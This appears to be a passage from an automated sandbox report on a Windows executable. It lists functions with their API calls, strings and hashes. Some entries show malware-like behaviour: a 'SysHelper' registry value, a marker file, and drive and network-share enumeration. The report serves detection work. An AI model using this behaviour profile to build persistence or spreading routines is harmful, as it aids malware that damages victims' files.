Visual C++ CRT: Not enough memory to complete call to strerror., xrefs: 004C5D48, 004C5D6E

Memory Dump Source

Source File: 00000002.00000002.369250533.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.369370821.0000000000529000.00000040.00000001.sdmp Download File
Associated: 00000002.00000002.369375819.000000000052B000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: ErrorLast__calloc_crt__get_sys_err_msg__invoke_watson$CurrentThread__getptd_noexit__initptd
String ID: Visual C++ CRT: Not enough memory to complete call to strerror.
API String ID: 2139067377-798102604
Opcode ID: 6565f3eeb2dc9c0597fd8b1228d76a5755e5e4a7eea90c3f78218ec856ed93f0
Instruction ID: efefb7cdb09aa89a66c944e42d5018451410fe076c3b278b171ca9447b521f4c
Opcode Fuzzy Hash: 6565f3eeb2dc9c0597fd8b1228d76a5755e5e4a7eea90c3f78218ec856ed93f0
Instruction Fuzzy Hash: 8E11E935601F2567D7613A66AC05FBF738CDF007A4F50806FFE0696241E629AC8042AD

Uniqueness

Uniqueness Score: -1.00%

Function 0040C6A0, Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 49registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(80000001,Software\Microsoft\Windows\CurrentVersion,00000000,000F003F,?), ref: 0040C6C2
RegQueryValueExW.ADVAPI32(00000000,SysHelper,00000000,00000004,?,?), ref: 0040C6F3
RegCloseKey.ADVAPI32(00000000), ref: 0040C700
RegSetValueExW.ADVAPI32(00000000,SysHelper,00000000,00000004,?,00000004), ref: 0040C725
RegCloseKey.ADVAPI32(00000000), ref: 0040C72E

Strings

Software\Microsoft\Windows\CurrentVersion, xrefs: 0040C6B8
SysHelper, xrefs: 0040C6EB, 0040C71D

Memory Dump Source

Source File: 00000002.00000002.369250533.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.369370821.0000000000529000.00000040.00000001.sdmp Download File
Associated: 00000002.00000002.369375819.000000000052B000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: CloseValue$OpenQuery
String ID: Software\Microsoft\Windows\CurrentVersion$SysHelper
API String ID: 3962714758-1667468722
Opcode ID: 1b3e89e7960631348278952d172054be4d8a3531237e516afd507403cd6f8071
Instruction ID: 83d53c3b81c5c3826f22504a9cab54a14a7287ca0244f3776693af22b4817dfa
Opcode Fuzzy Hash: 1b3e89e7960631348278952d172054be4d8a3531237e516afd507403cd6f8071
Instruction Fuzzy Hash: 60112D7594020CFBDB109F91CC86FEEBB78EB04708F2041A5FA04B22A1D7B55B14AB58

Uniqueness

Uniqueness Score: -1.00%

Function 004573F0, Relevance: 10.8, APIs: 1, Strings: 5, Instructions: 251COMMON

Download Yara Rule

APIs

__aulldvrm.LIBCMT ref: 004574E9

Strings

0123456789abcdef, xrefs: 004574C4
, xrefs: 00457482
UlE, xrefs: 00457596, 004575A9, 004575D1, 004575F6, 0045762A, 0045765D, 0045767F
+, xrefs: 00457475
0123456789ABCDEF, xrefs: 004574D6

Memory Dump Source

Source File: 00000002.00000002.369250533.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.369370821.0000000000529000.00000040.00000001.sdmp Download File
Associated: 00000002.00000002.369375819.000000000052B000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: __aulldvrm
String ID: $+$0123456789ABCDEF$0123456789abcdef$UlE
API String ID: 1302938615-3129329331
Opcode ID: 46cac4d1b6a149b0db06dd79d6caabf4c5257fe28ada6b330817daa996fb75e4
Instruction ID: ba297de4fec08f8b73c8771b24cc4328c1ae3ea447eff3a94226dc6813255680
Opcode Fuzzy Hash: 46cac4d1b6a149b0db06dd79d6caabf4c5257fe28ada6b330817daa996fb75e4
Instruction Fuzzy Hash: D181AEB1A087509FD710CF29A84062BBBE5BFC9755F15092EFD8593312E338DD098B96

Uniqueness

Uniqueness Score: -1.00%

Function 00462FF0, Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 83COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00463018
_fprintf.LIBCMT ref: 0046307E
_memset.LIBCMT ref: 004630AB

Strings

Enter PEM pass phrase:, xrefs: 00463036, 00463043, 00463084
phrase is too short, needs to be at least %d chars, xrefs: 00463070
.\crypto\pem\pem_lib.c, xrefs: 00463097

Memory Dump Source

Source File: 00000002.00000002.369250533.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.369370821.0000000000529000.00000040.00000001.sdmp Download File
Associated: 00000002.00000002.369375819.000000000052B000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: _fprintf_memmove_memset
String ID: .\crypto\pem\pem_lib.c$Enter PEM pass phrase:$phrase is too short, needs to be at least %d chars
API String ID: 797568609-3399676524
Opcode ID: ecf0358a9dba2a972d623e611d8bee7a2e74e734002f68b3a08fbe7946495174
Instruction ID: 90c6fe5d672865ace0ee8fbe81ed9b43ee89a432c17a94ace257beddb0b51c59
Opcode Fuzzy Hash: ecf0358a9dba2a972d623e611d8bee7a2e74e734002f68b3a08fbe7946495174
Instruction Fuzzy Hash: 0E218B72B043513BE720AD22AC01FBB7799CFC179DF04441AFA54672C6E639ED0942AA

Uniqueness

Uniqueness Score: -1.00%

Function 00411B10, Relevance: 10.6, APIs: 7, Instructions: 50timewindowsleepCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 00411B1E
timeGetTime.WINMM ref: 00411B29
PeekMessageW.USER32 ref: 00411B4C
DispatchMessageW.USER32 ref: 00411B5C
PeekMessageW.USER32 ref: 00411B6A
Sleep.KERNEL32(00000064), ref: 00411B72
timeGetTime.WINMM ref: 00411B78

Memory Dump Source

Source File: 00000002.00000002.369250533.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.369370821.0000000000529000.00000040.00000001.sdmp Download File
Associated: 00000002.00000002.369375819.000000000052B000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: MessageTimetime$Peek$DispatchSleep
String ID:
API String ID: 3697694649-0
Opcode ID: fcc8413cfddb585fd402253dfe517567f0959867a63999003a9cc793a607e07b
Instruction ID: 47d0c5dc5d1eae46eaa001befe89e32fbe66e83151f6641dec248f991c3ab793
Opcode Fuzzy Hash: fcc8413cfddb585fd402253dfe517567f0959867a63999003a9cc793a607e07b
Instruction Fuzzy Hash: EE017532A40319A6DB2097E59C81FEEB768AB44B40F044066FB04A71D0E664A9418BA9

Uniqueness

Uniqueness Score: -1.00%

Function 0047D950, Relevance: 9.0, APIs: 2, Strings: 3, Instructions: 223COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 0047DB5B
_memmove.LIBCMT ref: 0047DB87

Part of subcall function 00454C00: _raise.LIBCMT ref: 00454C18

Strings

EVP_CIPHER_CTX_iv_length(ctx) <= (int)sizeof(ctx->iv), xrefs: 0047DB34
.\crypto\evp\evp_enc.c, xrefs: 0047D9CE, 0047DA2D, 0047DA47, 0047DAA4, 0047DADF, 0047DB3E
ctx->cipher->block_size == 1 || ctx->cipher->block_size == 8 || ctx->cipher->block_size == 16, xrefs: 0047DAD5

Memory Dump Source

Source File: 00000002.00000002.369250533.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.369370821.0000000000529000.00000040.00000001.sdmp Download File
Associated: 00000002.00000002.369375819.000000000052B000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: _memmove$_raise
String ID: .\crypto\evp\evp_enc.c$EVP_CIPHER_CTX_iv_length(ctx) <= (int)sizeof(ctx->iv)$ctx->cipher->block_size == 1 || ctx->cipher->block_size == 8 || ctx->cipher->block_size == 16
API String ID: 2343863546-2924504608
Opcode ID: c76d0ede17fcb0d40549a0132f2c5bbe97d9de70e5fa6bc358dd6b106cf7b0ca
Instruction ID: 6d9e874a88418f1bce53fb10d494cc5cec0fe03615b2766603cd42620c4ba791
Opcode Fuzzy Hash: c76d0ede17fcb0d40549a0132f2c5bbe97d9de70e5fa6bc358dd6b106cf7b0ca
Instruction Fuzzy Hash: 5661D8B1E403016BE710AE25DC82BA777B4BF40718F15852BFA0C97382E76DE814C79A

Uniqueness

Uniqueness Score: -1.00%

Function 00417BA0, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 188COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00417C6A
_memmove.LIBCMT ref: 00417CD4
_memmove.LIBCMT ref: 00417CF6

Strings

string too long, xrefs: 00417D36
invalid string position, xrefs: 00417D2C

Memory Dump Source

Source File: 00000002.00000002.369250533.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.369370821.0000000000529000.00000040.00000001.sdmp Download File
Associated: 00000002.00000002.369375819.000000000052B000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: b2c1af29de5962b74b57e5661815869f54c56e8a90a0ab9c91a19098a667a223
Instruction ID: 16eedd03d570a769cf24423414cb71a1906862ef28ca1dd771941f38c47b8a04
Opcode Fuzzy Hash: b2c1af29de5962b74b57e5661815869f54c56e8a90a0ab9c91a19098a667a223
Instruction Fuzzy Hash: C451C3317081089BDB24CE1CD980AAA77B6EF85714B24891FF856CB381DB35EDD18BD9

Uniqueness

Uniqueness Score: -1.00%

Function 0047E120, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 176COMMON

Download Yara Rule

Strings

.\crypto\evp\evp_enc.c, xrefs: 0047E1DC
bl <= (int)sizeof(ctx->buf), xrefs: 0047E1D2

Memory Dump Source

Source File: 00000002.00000002.369250533.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.369370821.0000000000529000.00000040.00000001.sdmp Download File
Associated: 00000002.00000002.369375819.000000000052B000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID:
String ID: .\crypto\evp\evp_enc.c$bl <= (int)sizeof(ctx->buf)
API String ID: 0-2268396538
Opcode ID: 8bd9cfa9720f795ef67c1812439c7698afc16b6488562794b7bd274acd2694e6
Instruction ID: 11280c92c8fa41fa88a02e1dac83f11ae62a3ad8d4d29c2740d29f594d98f1be
Opcode Fuzzy Hash: 8bd9cfa9720f795ef67c1812439c7698afc16b6488562794b7bd274acd2694e6
Instruction Fuzzy Hash: FB51AA726043059FD700DF5ADC81A9BB7E8FF88368F104AAEF948C7201D739E9558B95

Uniqueness

Uniqueness Score: -1.00%

Function 00414160, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 120COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 004141E4
_memmove.LIBCMT ref: 00414215
_memmove.LIBCMT ref: 00414239

Strings

string too long, xrefs: 00414256
invalid string position, xrefs: 00414260

Memory Dump Source

Source File: 00000002.00000002.369250533.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.369370821.0000000000529000.00000040.00000001.sdmp Download File
Associated: 00000002.00000002.369375819.000000000052B000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 1860cadd0784f8812835e732d2f60387060861baec5cac242feb419a09eb11c6
Instruction ID: c789d4a5c221ce0c411dffae1b259be01e75b302f83ceaf2f45b858c9c7e4579
Opcode Fuzzy Hash: 1860cadd0784f8812835e732d2f60387060861baec5cac242feb419a09eb11c6
Instruction Fuzzy Hash: 3D311430300204ABDB28DE5CD8859AA77B6EFC17507600A5EF865CB381D739EDC18BAD

Uniqueness

Uniqueness Score: -1.00%

Function 004506A0, Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 119COMMON

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 004507C3

Strings

error:%08lX:%s:%s:%s, xrefs: 00450792
reason(%lu), xrefs: 00450758
func(%lu), xrefs: 00450734
lib(%lu), xrefs: 0045071C

Memory Dump Source

Source File: 00000002.00000002.369250533.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.369370821.0000000000529000.00000040.00000001.sdmp Download File
Associated: 00000002.00000002.369375819.000000000052B000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: ___from_strstr_to_strchr
String ID: error:%08lX:%s:%s:%s$func(%lu)$lib(%lu)$reason(%lu)
API String ID: 601868998-2416195885
Opcode ID: 46bb62eb4ffcb3ef403e86853a7eb45dbe6c4dfbd3a8551aa62d907c1259c874
Instruction ID: 4fd155d7ac4cfc4ad9107eba643b63d3b81161049ee91e28a54c83c9030a6459
Opcode Fuzzy Hash: 46bb62eb4ffcb3ef403e86853a7eb45dbe6c4dfbd3a8551aa62d907c1259c874
Instruction Fuzzy Hash: F64109756043055BDB20EE25CC45BAFB7D8EF85309F40082FF98593242E679E90C8B96

Uniqueness

Uniqueness Score: -1.00%

Function 0045AE30, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 105COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0045AE4B
_memset.LIBCMT ref: 0045AE6C

Strings

g9F, xrefs: 0045AE31, 0045AE36, 0045AE63, 0045AF14, 0045AF1D
.\crypto\buffer\buffer.c, xrefs: 0045AE88, 0045AEBE, 0045AED3, 0045AEF0

Memory Dump Source

Source File: 00000002.00000002.369250533.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.369370821.0000000000529000.00000040.00000001.sdmp Download File
Associated: 00000002.00000002.369375819.000000000052B000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: _memset
String ID: .\crypto\buffer\buffer.c$g9F
API String ID: 2102423945-3653307630
Opcode ID: 41b8760603798dafaf4d4572c250bcd82449d7f0d7c455ebd7b4e1b6c976a6df
Instruction ID: 958ac6a2dbe7618ecd56aaf11cdfe4c63fb5daf7b6a990d4d23814bb8d8bf6ac
Opcode Fuzzy Hash: 41b8760603798dafaf4d4572c250bcd82449d7f0d7c455ebd7b4e1b6c976a6df
Instruction Fuzzy Hash: 27212BB6B403213FE210665DFC43B66B399EB84B15F10413BF618D73C2D6A8A865C3D9

Uniqueness

Uniqueness Score: -1.00%

Function 0047E950, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 103COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 0047E9B3

Part of subcall function 00454C00: _raise.LIBCMT ref: 00454C18

_memmove.LIBCMT ref: 0047E9D5
_memmove.LIBCMT ref: 0047EA47

Strings

ctx->length <= (int)sizeof(ctx->enc_data), xrefs: 0047E984
.\crypto\evp\encode.c, xrefs: 0047E98E

Memory Dump Source

Source File: 00000002.00000002.369250533.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.369370821.0000000000529000.00000040.00000001.sdmp Download File
Associated: 00000002.00000002.369375819.000000000052B000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: _memmove$_raise
String ID: .\crypto\evp\encode.c$ctx->length <= (int)sizeof(ctx->enc_data)
API String ID: 2343863546-2997570555
Opcode ID: bd4b8a42163a357e758ea5e1c2d91073decf2a6e7d0c8b328fe7d88ff2e48e65
Instruction ID: 6b415292c0040fc27125f2347e66735c96bb7304a727c7852c247fc95cb91a51
Opcode Fuzzy Hash: bd4b8a42163a357e758ea5e1c2d91073decf2a6e7d0c8b328fe7d88ff2e48e65
Instruction Fuzzy Hash: A731D4B2604342AFD700DF2AD880B5AF7E8FF5430CF144A6EF59893241E375A924CB99

Uniqueness

Uniqueness Score: -1.00%

Function 0040C500, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0040C51B
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0040C539

Strings

bowsakkdestx.txt, xrefs: 0040C52D

Memory Dump Source

Source File: 00000002.00000002.369250533.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.369370821.0000000000529000.00000040.00000001.sdmp Download File
Associated: 00000002.00000002.369375819.000000000052B000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: Path$AppendFolder
String ID: bowsakkdestx.txt
API String ID: 29327785-2616962270
Opcode ID: ba6770418a514e061c64693ffdbf2edbdfd545916963a0667ce2a0b7d493bc5b
Instruction ID: a05810460da3035b09b2d6f50620da2975429261b58b3288bff945a9ad0f9da5
Opcode Fuzzy Hash: ba6770418a514e061c64693ffdbf2edbdfd545916963a0667ce2a0b7d493bc5b
Instruction Fuzzy Hash: 281127B2B4023833D930756A7C87FEB735C9B42725F4001B7FE0CA2182A5AE554501E9

Uniqueness

Uniqueness Score: -1.00%

Function 0041BA80, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 29COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32 ref: 0041BAAD
ShowWindow.USER32(00000000,00000000), ref: 0041BABE
UpdateWindow.USER32(00000000), ref: 0041BAC5

Strings

LPCWSTRszWindowClass, xrefs: 0041BAA0
LPCWSTRszTitle, xrefs: 0041BA9B

Memory Dump Source

Source File: 00000002.00000002.369250533.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.369370821.0000000000529000.00000040.00000001.sdmp Download File
Associated: 00000002.00000002.369375819.000000000052B000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: Window$CreateShowUpdate
String ID: LPCWSTRszTitle$LPCWSTRszWindowClass
API String ID: 2944774295-3503800400
Opcode ID: a65d1e0183acb99785454671d95aa34da9e61ee796a7d373e4ca79d97c1a5a0d
Instruction ID: 93e3ae8c3ab6e4512016b3ef7200399996c0305a41779b72c5d02abe3f8cd5ff
Opcode Fuzzy Hash: a65d1e0183acb99785454671d95aa34da9e61ee796a7d373e4ca79d97c1a5a0d
Instruction Fuzzy Hash: 08E04F316C172077E3715B15BC5BFDA2918FB05F10F308119FA14792E0C6E569428A8C

Uniqueness

Uniqueness Score: -1.00%

Function 00410BD0, Relevance: 7.7, APIs: 5, Instructions: 234sharememoryCOMMON

Download Yara Rule

APIs

WNetOpenEnumW.MPR(00000002,00000000,00000000,?,?), ref: 00410C12
GlobalAlloc.KERNEL32(00000040,00004000,?,?), ref: 00410C39
_memset.LIBCMT ref: 00410C4C
WNetEnumResourceW.MPR(?,?,00000000,?), ref: 00410C63

Memory Dump Source

Source File: 00000002.00000002.369250533.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.369370821.0000000000529000.00000040.00000001.sdmp Download File
Associated: 00000002.00000002.369375819.000000000052B000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: Enum$AllocGlobalOpenResource_memset
String ID:
API String ID: 364255426-0
Opcode ID: c593f9ddfc12760f3eff0e8065bbbd6a980f194dc76d13cdd9d46ce453e91173
Instruction ID: bd97fe2cb621df6ca28f66a093f1f6e361520364a30ff1ea4190286e2c40543e
Opcode Fuzzy Hash: c593f9ddfc12760f3eff0e8065bbbd6a980f194dc76d13cdd9d46ce453e91173
Instruction Fuzzy Hash: 0F91B2756083418FD724DF55D891BABB7E1FF84704F14891EE48A87380E7B8A981CB5A

Uniqueness

Uniqueness Score: -1.00%

Function 00422130, Relevance: 7.7, APIs: 5, Instructions: 163COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0042218E
_memcpy_s.LIBCMT ref: 00422200
__read_nolock.LIBCMT ref: 0042225E
__filbuf.LIBCMT ref: 00422281
_memset.LIBCMT ref: 004222C5

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

Memory Dump Source

Source File: 00000002.00000002.369250533.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.369370821.0000000000529000.00000040.00000001.sdmp Download File
Associated: 00000002.00000002.369375819.000000000052B000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: _memset$__filbuf__getptd_noexit__read_nolock_memcpy_s
String ID:
API String ID: 1559183368-0
Opcode ID: 2663944f2ecd2356e6bc0f9128c733698aaf16daf3cf10d514d26d316ebfdedf
Instruction ID: 8e6e0b0b404069c1ace538d88af1fa9e5aae20a8402e44ab6f3f0d96efeb0f41
Opcode Fuzzy Hash: 2663944f2ecd2356e6bc0f9128c733698aaf16daf3cf10d514d26d316ebfdedf
Instruction Fuzzy Hash: 9A51D830B00225FBCB148E69AA40A7F77B1AF11320F94436FF825963D0D7B99D61CB69

Uniqueness

Uniqueness Score: -1.00%

Function 00410A50, Relevance: 7.6, APIs: 5, Instructions: 104COMMON

Download Yara Rule

APIs

GetLogicalDrives.KERNEL32 ref: 00410A75
SetErrorMode.KERNEL32(00000001,00500234,00000002), ref: 00410AE2
PathFileExistsA.SHLWAPI(?), ref: 00410AF9
SetErrorMode.KERNEL32(00000000), ref: 00410B02
GetDriveTypeA.KERNEL32(?), ref: 00410B1B

Memory Dump Source

Source File: 00000002.00000002.369250533.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.369370821.0000000000529000.00000040.00000001.sdmp Download File
Associated: 00000002.00000002.369375819.000000000052B000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: ErrorMode$DriveDrivesExistsFileLogicalPathType
String ID:
API String ID: 2560635915-0
Opcode ID: 6431ecd4352623c8ea5b40f1f1ea1a8b08bc26eb066019d8721179985482c109
Instruction ID: e48b338c548d72163c5ae3f73f283317dfaad29deff82c686574d6b9df2ed0f8
Opcode Fuzzy Hash: 6431ecd4352623c8ea5b40f1f1ea1a8b08bc26eb066019d8721179985482c109
Instruction Fuzzy Hash: 6141F271108340DFC710DF69C885B8BBBE4BB85718F500A2EF089922A2D7B9D584CB97

Uniqueness

Uniqueness Score: -1.00%

Function 0043B6FF, Relevance: 7.6, APIs: 5, Instructions: 67COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 0043B70B

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(00870000,00000000,00000001,?,?,?,?,00423B69,?), ref: 00420CA5

_free.LIBCMT ref: 0043B71E

Memory Dump Source

Source File: 00000002.00000002.369250533.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.369370821.0000000000529000.00000040.00000001.sdmp Download File
Associated: 00000002.00000002.369375819.000000000052B000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: AllocateHeap_free_malloc
String ID:
API String ID: 1020059152-0
Opcode ID: 8e512132b4ba77e80ced0f8d2c599a4ead77bd4eaf6f4183de6e41df743542ab
Instruction ID: cebe638eb0ed40525ab660a1b273922ca7a171140340163af9fc546bca46de76
Opcode Fuzzy Hash: 8e512132b4ba77e80ced0f8d2c599a4ead77bd4eaf6f4183de6e41df743542ab
Instruction Fuzzy Hash: F411EB31504725EBCB202B76BC85B6A3784DF58364F50512BFA589A291DB3C88408ADC

Uniqueness

Uniqueness Score: -1.00%

Function 0041E500, Relevance: 7.5, APIs: 5, Instructions: 49windowsynchronizationthreadCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32 ref: 0041E515
PeekMessageW.USER32 ref: 0041E53C
DispatchMessageW.USER32 ref: 0041E546
PeekMessageW.USER32 ref: 0041E554
WaitForSingleObject.KERNEL32(0000000A), ref: 0041E562

Memory Dump Source

Source File: 00000002.00000002.369250533.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.369370821.0000000000529000.00000040.00000001.sdmp Download File
Associated: 00000002.00000002.369375819.000000000052B000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: Message$Peek$DispatchObjectPostSingleThreadWait
String ID:
API String ID: 1380987712-0
Opcode ID: fff4340a71da7ea92c1385820b9327139908f6a11ddf48d1b12da68ebdd54261
Instruction ID: 59d9cfd0379212e31388a7928d285390ad7449125cd170d7d310b1f6820545b5
Opcode Fuzzy Hash: fff4340a71da7ea92c1385820b9327139908f6a11ddf48d1b12da68ebdd54261
Instruction Fuzzy Hash: 3301DB35B4030976E720AB51EC86FD67B6DE744B04F144011FE04AB1E1D7F9A549CB98

Uniqueness

Uniqueness Score: -1.00%

Function 0041F070, Relevance: 7.5, APIs: 5, Instructions: 49windowsynchronizationthreadCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32 ref: 0041F085
PeekMessageW.USER32 ref: 0041F0AC
DispatchMessageW.USER32 ref: 0041F0B6
PeekMessageW.USER32 ref: 0041F0C4
WaitForSingleObject.KERNEL32(0000000A), ref: 0041F0D2

Memory Dump Source

Source File: 00000002.00000001.359707348.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000001.361130595.0000000000529000.00000040.00020000.sdmp Download File
Associated: 00000002.00000001.361145739.000000000052B000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: Message$Peek$DispatchObjectPostSingleThreadWait
String ID:
API String ID: 1380987712-0
Opcode ID: 6d24f8cffcb6546f687f670e27dc83223b8af0f876a489368cdeea614c080f41
Instruction ID: 8330a25206e7a7c758b309db49295e470543d34b7ed76d4368c5dbe794fa98e6
Opcode Fuzzy Hash: 6d24f8cffcb6546f687f670e27dc83223b8af0f876a489368cdeea614c080f41
Instruction Fuzzy Hash: 5C01DB35A4030876EB30AB55EC86FD63B6DE744B00F148022FE04AB1E1D7B9A54ADB98

Uniqueness

Uniqueness Score: -1.00%

Function 0041FA40, Relevance: 7.5, APIs: 5, Instructions: 48windowsynchronizationthreadCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32 ref: 0041FA53
PeekMessageW.USER32 ref: 0041FA71
DispatchMessageW.USER32 ref: 0041FA7B
PeekMessageW.USER32 ref: 0041FA89
WaitForSingleObject.KERNEL32(?,0000000A,?,00000012,00000000,00000000), ref: 0041FA94

Memory Dump Source

Source File: 00000002.00000002.369250533.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.369370821.0000000000529000.00000040.00000001.sdmp Download File
Associated: 00000002.00000002.369375819.000000000052B000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: Message$Peek$DispatchObjectPostSingleThreadWait
String ID:
API String ID: 1380987712-0
Opcode ID: 5ffbf9770eb971b4119c0781c76021866953efcd4bea105f367c69870a8c259a
Instruction ID: 7dc02704ba958b7d98511173c4623a4fa8f2b4100db45197b38ae147ea501182
Opcode Fuzzy Hash: 5ffbf9770eb971b4119c0781c76021866953efcd4bea105f367c69870a8c259a
Instruction Fuzzy Hash: 6301AE31B4030577EB205B55DC86FA73B6DDB44B40F544061FB04EE1D1D7F9984587A4

Uniqueness

Uniqueness Score: -1.00%

Function 0041FDF0, Relevance: 7.5, APIs: 5, Instructions: 48windowsynchronizationthreadCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32 ref: 0041FE03
PeekMessageW.USER32 ref: 0041FE21
DispatchMessageW.USER32 ref: 0041FE2B
PeekMessageW.USER32 ref: 0041FE39
WaitForSingleObject.KERNEL32(?,0000000A,?,00000012,00000000,00000000), ref: 0041FE44

Memory Dump Source

Source File: 00000002.00000002.369250533.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.369370821.0000000000529000.00000040.00000001.sdmp Download File
Associated: 00000002.00000002.369375819.000000000052B000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: Message$Peek$DispatchObjectPostSingleThreadWait
String ID:
API String ID: 1380987712-0
Opcode ID: 5ffbf9770eb971b4119c0781c76021866953efcd4bea105f367c69870a8c259a
Instruction ID: d705e8d6a79994c6a13c6d22e65b3a6180ae01e64e8e6a22fa5ca061b0d405f5
Opcode Fuzzy Hash: 5ffbf9770eb971b4119c0781c76021866953efcd4bea105f367c69870a8c259a
Instruction Fuzzy Hash: 3501A931B80308B7EB205B95ED8AF973B6DEB44B00F144061FA04EF1E1D7F5A8468BA4

Uniqueness

Uniqueness Score: -1.00%

Function 00414920, Relevance: 7.3, APIs: 2, Strings: 2, Instructions: 319COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 004149F1
_memmove.LIBCMT ref: 00414A29

Strings

string too long, xrefs: 00414C33
invalid string position, xrefs: 00414C3D

Memory Dump Source

Source File: 00000002.00000002.369250533.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.369370821.0000000000529000.00000040.00000001.sdmp Download File
Associated: 00000002.00000002.369375819.000000000052B000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 6b6c026794a5df2e3fdb14e42bcdc4c864f1c14e00cdd800f0752a2c1f007913
Instruction ID: e15d95b7bc4e28eadeb147f52893af2b9f74cdff9e85ed34d7497a2036010d09
Opcode Fuzzy Hash: 6b6c026794a5df2e3fdb14e42bcdc4c864f1c14e00cdd800f0752a2c1f007913
Instruction Fuzzy Hash: 86C15C70704209DBCB24CF58D9C09EAB3B6FFC5304720452EE8468B655DB35ED96CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 00417D50, Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 179COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00417E2E
_memmove.LIBCMT ref: 00417EC2

Strings

string too long, xrefs: 00417EE9
invalid string position, xrefs: 00417EDF

Memory Dump Source

